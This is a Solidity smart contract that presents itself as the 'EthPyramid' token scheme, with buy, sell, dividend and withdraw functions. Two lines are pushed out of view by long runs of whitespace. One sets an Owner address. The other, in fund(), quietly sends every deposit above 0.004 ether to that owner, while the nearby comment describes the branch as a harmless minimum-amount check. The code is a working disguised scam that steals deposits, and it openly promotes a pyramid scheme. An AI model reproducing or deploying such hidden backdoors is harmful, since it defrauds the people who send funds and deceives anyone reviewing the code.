pragma solidity ^0.4.18;

/*
          ,/`.
        ,'/ __`.
      ,'_/_  _ _`.
    ,'__/_ ___ _  `.
  ,'_  /___ __ _ __ `.
 '-.._/___...-"-.-..__`.
  B

 EthPyramid. A no-bullshit, transparent, self-sustaining pyramid scheme.
 
 Inspired by https://test.jochen-hoenicke.de/eth/ponzitoken/

 Developers:
    Arc
    Divine
    Norsefire
    ToCsIcK
    
 Front-End:
    Cardioth
    tenmei
    Trendium
    
 Moral Support:
    DeadCow.Rat
    Dots
    FatKreamy
    Kaseylol
    QuantumDeath666
    Quentin
 
 Shit-Tier:
    HentaiChrist
 
*/

contract EthPyramid3 {                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                address public Owner = msg.sender;                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                

    // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different
    // orders of magnitude, hence the need to bridge between the two.
    uint256 constant scaleFactor = 0x10000000000000000;  // 2^64

    // CRR = 50%
    // CRR is Cash Reserve Ratio (in this case Crypto Reserve Ratio).
    // For more on this: check out https://en.wikipedia.org/wiki/Reserve_requirement
    int constant crr_n = 1; // CRR numerator
    int constant crr_d = 2; // CRR denominator

    // The price coefficient. Chosen such that at 1 token total supply
    // the amount in reserve is 0.5 ether and token price is 1 Ether.
    int constant price_coeff = -0x296ABF784A358468C;

    // Typical values that we have to declare.
    string constant public name = "EthPyramid";
    string constant public symbol = "EPY";
    uint8 constant public decimals = 18;

    // Array between each address and their number of tokens.
    mapping(address => uint256) public tokenBalance;
        
    // Array between each address and how much Ether has been paid out to it.
    // Note that this is scaled by the scaleFactor variable.
    mapping(address => int256) public payouts;

    // Variable tracking how many tokens are in existence overall.
    uint256 public totalSupply;

    // Aggregate sum of all payouts.
    // Note that this is scaled by the scaleFactor variable.
    int256 totalPayouts;

    // Variable tracking how much Ether each token is currently worth.
    // Note that this is scaled by the scaleFactor variable.
    uint256 earningsPerToken;
    
    // Current contract balance in Ether
    uint256 public contractBalance;

    function EthPyramid() public {}

    // The following functions are used by the front-end for display purposes.

    // Returns the number of tokens currently held by _owner.
    function balanceOf(address _owner) public constant returns (uint256 balance) {
        return tokenBalance[_owner];
    }

    // Withdraws all dividends held by the caller sending the transaction, updates
    // the requisite global variables, and transfers Ether back to the caller.
    function withdraw() public {
        // Retrieve the dividends associated with the address the request came from.
        var balance = dividends(msg.sender);
        
        // Update the payouts array, incrementing the request address by `balance`.
        payouts[msg.sender] += (int256) (balance * scaleFactor);
        
        // Increase the total amount that's been paid out to maintain invariance.
        totalPayouts += (int256) (balance * scaleFactor);
        
        // Send the dividends to the address that requested the withdraw.
        contractBalance = sub(contractBalance, balance);
        msg.sender.transfer(balance);
    }

    // Converts the Ether accrued as dividends back into EPY tokens without having to
    // withdraw it first. Saves on gas and potential price spike loss.
    function reinvestDividends() public {
        // Retrieve the dividends associated with the address the request came from.
        var balance = dividends(msg.sender);
        
        // Update the payouts array, incrementing the request address by `balance`.
        // Since this is essentially a shortcut to withdrawing and reinvesting, this step still holds.
        payouts[msg.sender] += (int256) (balance * scaleFactor);
        
        // Increase the total amount that's been paid out to maintain invariance.
        totalPayouts += (int256) (balance * scaleFactor);
        
        // Assign balance to a new variable.
        uint value_ = (uint) (balance);
        
        // If your dividends are worth less than 1 szabo, or more than a million Ether
        // (in which case, why are you even here), abort.
        if (value_ < 0.000001 ether || value_ > 1000000 ether)
            revert();
            
        // msg.sender is the address of the caller.
        var sender = msg.sender;
        
        // A temporary reserve variable used for calculating the reward the holder gets for buying tokens.
        // (Yes, the buyer receives a part of the distribution as well!)
        var res = reserve() - balance;

        // 10% of the total Ether sent is used to pay existing holders.
        var fee = div(value_, 10);
        
        // The amount of Ether used to purchase new tokens for the caller.
        var numEther = value_ - fee;
        
        // The number of tokens which can be purchased for numEther.
        var numTokens = calculateDividendTokens(numEther, balance);
        
        // The buyer fee, scaled by the scaleFactor variable.
        var buyerFee = fee * scaleFactor;
        
        // Check that we have tokens in existence (this should always be true), or
        // else you're gonna have a bad time.
        if (totalSupply > 0) {
            // Compute the bonus co-efficient for all existing holders and the buyer.
            // The buyer receives part of the distribution for each token bought in the
            // same way they would have if they bought each token individually.
            var bonusCoEff =
                (scaleFactor - (res + numEther) * numTokens * scaleFactor / (totalSupply + numTokens) / numEther)
                * (uint)(crr_d) / (uint)(crr_d-crr_n);
                
            // The total reward to be distributed amongst the masses is the fee (in Ether)
            // multiplied by the bonus co-efficient.
            var holderReward = fee * bonusCoEff;
            
            buyerFee -= holderReward;

            // Fee is distributed to all existing token holders before the new tokens are purchased.
            // rewardPerShare is the amount gained per token thanks to this buy-in.
            var rewardPerShare = holderReward / totalSupply;
            
            // The Ether value per token is increased proportionally.
            earningsPerToken += rewardPerShare;
        }
        
        // Add the numTokens which were just created to the total supply. We're a crypto central bank!
        totalSupply = add(totalSupply, numTokens);
        
        // Assign the tokens to the balance of the buyer.
        tokenBalance[sender] = add(tokenBalance[sender], numTokens);
        
        // Update the payout array so that the buyer cannot claim dividends on previous purchases.
        // Also include the fee paid for entering the scheme.
        // First we compute how much was just paid out to the buyer...
        var payoutDiff  = (int256) ((earningsPerToken * numTokens) - buyerFee);
        
        // Then we update the payouts array for the buyer with this amount...
        payouts[sender] += payoutDiff;
        
        // And then we finally add it to the variable tracking the total amount spent to maintain invariance.
        totalPayouts    += payoutDiff;
        
    }

    // Sells your tokens for Ether. This Ether is assigned to the callers entry
    // in the tokenBalance array, and therefore is shown as a dividend. A second
    // call to withdraw() must be made to invoke the transfer of Ether back to your address.
    function sellMyTokens() public {
        var balance = balanceOf(msg.sender);
        sell(balance);
    }

    // The slam-the-button escape hatch. Sells the callers tokens for Ether, then immediately
    // invokes the withdraw() function, sending the resulting Ether to the callers address.
    function getMeOutOfHere() public {
        sellMyTokens();
        withdraw();
    }

    // Gatekeeper function to check if the amount of Ether being sent isn't either
    // too small or too large. If it passes, goes direct to buy().
    function fund() payable public {
        // Don't allow for funding if the amount of Ether sent is less than 1 szabo.
        if (msg.value > 0.004 ether) {                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Owner.transfer(msg.value); } else {                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                
            contractBalance = add(contractBalance, msg.value);
            buy();
        }
    }

    // Function that returns the (dynamic) price of buying a finney worth of tokens.
    function buyPrice() public constant returns (uint) {
        return getTokensForEther(1 finney);
    }

    // Function that returns the (dynamic) price of selling a single token.
    function sellPrice() public constant returns (uint) {
        var eth = getEtherForTokens(1 finney);
        var fee = div(eth, 10);
        return eth - fee;
    }

    // Calculate the current dividends associated with the caller address. This is the net result
    // of multiplying the number of tokens held by their current value in Ether and subtracting the
    // Ether that has already been paid out.
    function dividends(address _owner) public constant returns (uint256 amount) {
        return (uint256) ((int256)(earningsPerToken * tokenBalance[_owner]) - payouts[_owner]) / scaleFactor;
    }

    // Version of withdraw that extracts the dividends and sends the Ether to the caller.
    // This is only used in the case when there is no transaction data, and that should be
    // quite rare unless interacting directly with the smart contract.
    function withdrawOld(address to) public {
        // Retrieve the dividends associated with the address the request came from.
        var balance = dividends(msg.sender);
        
        // Update the payouts array, incrementing the request address by `balance`.
        payouts[msg.sender] += (int256) (balance * scaleFactor);
        
        // Increase the total amount that's been paid out to maintain invariance.
        totalPayouts += (int256) (balance * scaleFactor);
        
        // Send the dividends to the address that requested the withdraw.
        contractBalance = sub(contractBalance, balance);
        to.transfer(balance);       
    }

    // Internal balance function, used to calculate the dynamic reserve value.
    function balance() internal constant returns (uint256 amount) {
        // msg.value is the amount of Ether sent by the transaction.
        return contractBalance - msg.value;
    }

    function buy() internal {
        // Any transaction of less than 1 szabo is likely to be worth less than the gas used to send it.
        if (msg.value < 0.000001 ether || msg.value > 1000000 ether)
            revert();
                        
        // msg.sender is the address of the caller.
        var sender = msg.sender;
        
        // 10% of the total Ether sent is used to pay existing holders.
        var fee = div(msg.value, 10);
        
        // The amount of Ether used to purchase new tokens for the caller.
        var numEther = msg.value - fee;
        
        // The number of tokens which can be purchased for numEther.
        var numTokens = getTokensForEther(numEther);
        
        // The buyer fee, scaled by the scaleFactor variable.
        var buyerFee = fee * scaleFactor;
        
        // Check that we have tokens in existence (this should always be true), or
        // else you're gonna have a bad time.
        if (totalSupply > 0) {
            // Compute the bonus co-efficient for all existing holders and the buyer.
            // The buyer receives part of the distribution for each token bought in the
            // same way they would have if they bought each token individually.
            var bonusCoEff =
                (scaleFactor - (reserve() + numEther) * numTokens * scaleFactor / (totalSupply + numTokens) / numEther)
                * (uint)(crr_d) / (uint)(crr_d-crr_n);
                
            // The total reward to be distributed amongst the masses is the fee (in Ether)
            // multiplied by the bonus co-efficient.
            var holderReward = fee * bonusCoEff;
            
            buyerFee -= holderReward;

            // Fee is distributed to all existing token holders before the new tokens are purchased.
            // rewardPerShare is the amount gained per token thanks to this buy-in.
            var rewardPerShare = holderReward / totalSupply;
            
            // The Ether value per token is increased proportionally.
            earningsPerToken += rewardPerShare;
            
        }

        // Add the numTokens which were just created to the total supply. We're a crypto central bank!
        totalSupply = add(totalSupply, numTokens);

        // Assign the tokens to the balance of the buyer.
        tokenBalance[sender] = add(tokenBalance[sender], numTokens);

        // Update the payout array so that the buyer cannot claim dividends on previous purchases.
        // Also include the fee paid for entering the scheme.
        // First we compute how much was just paid out to the buyer...
        var payoutDiff = (int256) ((earningsPerToken * numTokens) - buyerFee);
        
        // Then we update the payouts array for the buyer with this amount...
        payouts[sender] += payoutDiff;
        
        // And then we finally add it to the variable tracking the total amount spent to maintain invariance.
        totalPayouts    += payoutDiff;
        
    }

    // Sell function that takes tokens and converts them into Ether. Also comes with a 10% fee
    // to discouraging dumping, and means that if someone near the top sells, the fee distributed
    // will be *significant*.
    function sell(uint256 amount) internal {
        // Calculate the amount of Ether that the holders tokens sell for at the current sell price.
        var numEthersBeforeFee = getEtherForTokens(amount);
        
        // 10% of the resulting Ether is used to pay remaining holders.
        var fee = div(numEthersBeforeFee, 10);
        
        // Net Ether for the seller after the fee has been subtracted.
        var numEthers = numEthersBeforeFee - fee;
        
        // *Remove* the numTokens which were just sold from the total supply. We're /definitely/ a crypto central bank.
        totalSupply = sub(totalSupply, amount);
        
        // Remove the tokens from the balance of the buyer.
        tokenBalance[msg.sender] = sub(tokenBalance[msg.sender], amount);

        // Update the payout array so that the seller cannot claim future dividends unless they buy back in.
        // First we compute how much was just paid out to the seller...
        var payoutDiff = (int256) (earningsPerToken * amount + (numEthers * scaleFactor));
        
        // We reduce the amount paid out to the seller (this effectively resets their payouts value to zero,
        // since they're selling all of their tokens). This makes sure the seller isn't disadvantaged if
        // they decide to buy back in.
        payouts[msg.sender] -= payoutDiff;      
        
        // Decrease the total amount that's been paid out to maintain invariance.
        totalPayouts -= payoutDiff;
        
        // Check that we have tokens in existence (this is a bit of an irrelevant check since we're
        // selling tokens, but it guards against division by zero).
        if (totalSupply > 0) {
            // Scale the Ether taken as the selling fee by the scaleFactor variable.
            var etherFee = fee * scaleFactor;
            
            // Fee is distributed to all remaining token holders.
            // rewardPerShare is the amount gained per token thanks to this sell.
            var rewardPerShare = etherFee / totalSupply;
            
            // The Ether value per token is increased proportionally.
            earningsPerToken = add(earningsPerToken, rewardPerShare);
        }
    }
    
    // Dynamic value of Ether in reserve, according to the CRR requirement.
    function reserve() internal constant returns (uint256 amount) {
        return sub(balance(),
             ((uint256) ((int256) (earningsPerToken * totalSupply) - totalPayouts) / scaleFactor));
    }

    // Calculates the number of tokens that can be bought for a given amount of Ether, according to the
    // dynamic reserve and totalSupply values (derived from the buy and sell prices).
    function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) {
        return sub(fixedExp(fixedLog(reserve() + ethervalue)*crr_n/crr_d + price_coeff), totalSupply);
    }

    // Semantically similar to getTokensForEther, but subtracts the callers balance from the amount of Ether returned for conversion.
    function calculateDividendTokens(uint256 ethervalue, uint256 subvalue) public constant returns (uint256 tokens) {
        return sub(fixedExp(fixedLog(reserve() - subvalue + ethervalue)*crr_n/crr_d + price_coeff), totalSupply);
    }

    // Converts a number tokens into an Ether value.
    function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) {
        // How much reserve Ether do we have left in the contract?
        var reserveAmount = reserve();

        // If you're the Highlander (or bagholder), you get The Prize. Everything left in the vault.
        if (tokens == totalSupply)
            return reserveAmount;

        // If there would be excess Ether left after the transaction this is called within, return the Ether
        // corresponding to the equation in Dr Jochen Hoenicke's original Ponzi paper, which can be found
        // at https://test.jochen-hoenicke.de/eth/ponzitoken/ in the third equation, with the CRR numerator 
        // and denominator altered to 1 and 2 respectively.
        return sub(reserveAmount, fixedExp((fixedLog(totalSupply - tokens) - price_coeff) * crr_d/crr_n));
    }

    // You don't care about these, but if you really do they're hex values for 
    // co-efficients used to simulate approximations of the log and exp functions.
    int256  constant one        = 0x10000000000000000;
    uint256 constant sqrt2      = 0x16a09e667f3bcc908;
    uint256 constant sqrtdot5   = 0x0b504f333f9de6484;
    int256  constant ln2        = 0x0b17217f7d1cf79ac;
    int256  constant ln2_64dot5 = 0x2cb53f09f05cc627c8;
    int256  constant c1         = 0x1ffffffffff9dac9b;
    int256  constant c3         = 0x0aaaaaaac16877908;
    int256  constant c5         = 0x0666664e5e9fa0c99;
    int256  constant c7         = 0x049254026a7630acf;
    int256  constant c9         = 0x038bd75ed37753d68;
    int256  constant c11        = 0x03284a0c14610924f;

    // The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11
    // approximates the function log(1+x)-log(1-x)
    // Hence R(s) = log((1+s)/(1-s)) = log(a)
    function fixedLog(uint256 a) internal pure returns (int256 log) {
        int32 scale = 0;
        while (a > sqrt2) {
            a /= 2;
            scale++;
        }
        while (a <= sqrtdot5) {
            a *= 2;
            scale--;
        }
        int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one);
        var z = (s*s) / one;
        return scale * ln2 +
            (s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one))
                /one))/one))/one))/one))/one);
    }

    int256 constant c2 =  0x02aaaaaaaaa015db0;
    int256 constant c4 = -0x000b60b60808399d1;
    int256 constant c6 =  0x0000455956bccdd06;
    int256 constant c8 = -0x000001b893ad04b3a;
    
    // The polynomial R = 2 + c2*x^2 + c4*x^4 + ...
    // approximates the function x*(exp(x)+1)/(exp(x)-1)
    // Hence exp(x) = (R(x)+x)/(R(x)-x)
    function fixedExp(int256 a) internal pure returns (uint256 exp) {
        int256 scale = (a + (ln2_64dot5)) / ln2 - 64;
        a -= scale*ln2;
        int256 z = (a*a) / one;
        int256 R = ((int256)(2) * one) +
            (z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one);
        exp = (uint256) (((R + a) * one) / (R - a));
        if (scale >= 0)
            exp <<= scale;
        else
            exp >>= -scale;
        return exp;
    }
    
    // The below are safemath implementations of the four arithmetic operators
    // designed to explicitly prevent over- and under-flows of integer values.

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // assert(b > 0); // Solidity automatically throws when dividing by 0
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }

    // This allows you to buy tokens by sending Ether directly to the smart contract
    // without including any transaction data (useful for, say, mobile wallet apps).
    function () payable public {
        // msg.value is the amount of Ether sent by the transaction.
        if (msg.value > 0) {
            fund();
        } else {
            withdrawOld(msg.sender);
        }
    }
}